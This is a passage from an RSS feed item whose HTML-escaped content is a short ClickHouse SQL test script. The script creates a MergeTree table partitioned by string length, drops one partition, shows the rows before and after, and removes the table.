&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;DROP&lt;/span&gt; &lt;span&gt;TABLE&lt;/span&gt; IF EXISTS without_fixed_size_columns;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;CREATE&lt;/span&gt; &lt;span&gt;TABLE&lt;/span&gt; &lt;span&gt;without_fixed_size_columns&lt;/span&gt;(s String) ENGINE MergeTree PARTITION BY length(s) &lt;span&gt;ORDER BY&lt;/span&gt; s;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt; &lt;span&gt;&lt;span&gt;&amp;#39;&lt;/span&gt;Parts:&lt;span&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt; &lt;span&gt;&lt;span&gt;&amp;#39;&lt;/span&gt;Before DROP PARTITION:&lt;span&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt; &lt;span&gt;*&lt;/span&gt; &lt;span&gt;FROM&lt;/span&gt; without_fixed_size_columns &lt;span&gt;ORDER BY&lt;/span&gt; s;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;ALTER&lt;/span&gt; &lt;span&gt;TABLE&lt;/span&gt; without_fixed_size_columns DROP PARTITION &lt;span&gt;1&lt;/span&gt;;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt; &lt;span&gt;&lt;span&gt;&amp;#39;&lt;/span&gt;After DROP PARTITION:&lt;span&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt;;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;SELECT&lt;/span&gt; &lt;span&gt;*&lt;/span&gt; &lt;span&gt;FROM&lt;/span&gt; without_fixed_size_columns &lt;span&gt;ORDER BY&lt;/span&gt; s;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;DROP&lt;/span&gt; &lt;span&gt;TABLE&lt;/span&gt; without_fixed_size_columns;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</content:encoded>
</item>
</channel>
</rss>
